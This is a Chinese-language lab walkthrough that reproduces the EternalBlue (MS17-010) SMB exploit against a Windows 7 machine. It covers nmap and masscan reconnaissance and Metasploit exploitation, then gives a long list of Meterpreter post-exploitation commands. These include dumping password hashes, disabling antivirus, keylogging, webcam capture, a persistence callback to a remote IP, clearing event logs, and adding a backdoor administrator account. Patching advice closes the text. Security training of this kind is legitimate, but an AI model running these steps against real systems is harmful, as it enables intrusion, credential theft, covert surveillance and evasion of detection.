0x01 漏洞介绍
- 漏洞描述
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
SMB服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。
-
漏洞编号
CVE-2017-0143
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0148 -
受影响版本
已知受影响的Windows 版本包括但不限于
WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0
这里列举的这些,但还
0x02 环境部署:
kali 【攻击机】 ip:192.168.30.182
win7 【受害机】 ip:192.168.30.203
实验中需要关闭win7防火墙
0x03 漏洞复现
1. 信息收集:
1.1主机发现
nmap -sn 192.168.30.0/24
1.2 端口扫描
masscan --rate=10000 --ports 0-65535 192.168.30.203
发现主机开放139,445端口
1.3 详细扫描
nmap -T4 -sV -O -p 445,139 192.168.30.203
2. 使用Metasploit进行测试漏洞
2.1 开启metasploit
2.2 选中使用模块
use auxiliary/scanner/smb/smb_ms17_010
2.3 查看选项,并设置参数
2.4 运行
发现该目标主机存在MS17-010漏洞
3. 漏洞利用
3.1 选中模块
use exploit/windows/smb/ms17_010_eternalblue
3.2查看选项,设置参数
3.3运行,拿到shell
在meterpreter > 中我们可以使用以下的命令来实现对目标的操作
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
- 创将一个新用户,并添加至管理员组
#创建一个用户
net user hack 123456 /add
#将用户hack添加至管理员组
net localgroup administrators hack /add
#查看当前管理员组成员
net localgroup administrators
0x04 漏洞修复
- 关闭139与445端口。
- 打开防火墙,安装安全软件。
- 在线更新;开启Windows Update更新。
- 打补丁;此漏洞对应的微软补丁地址:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010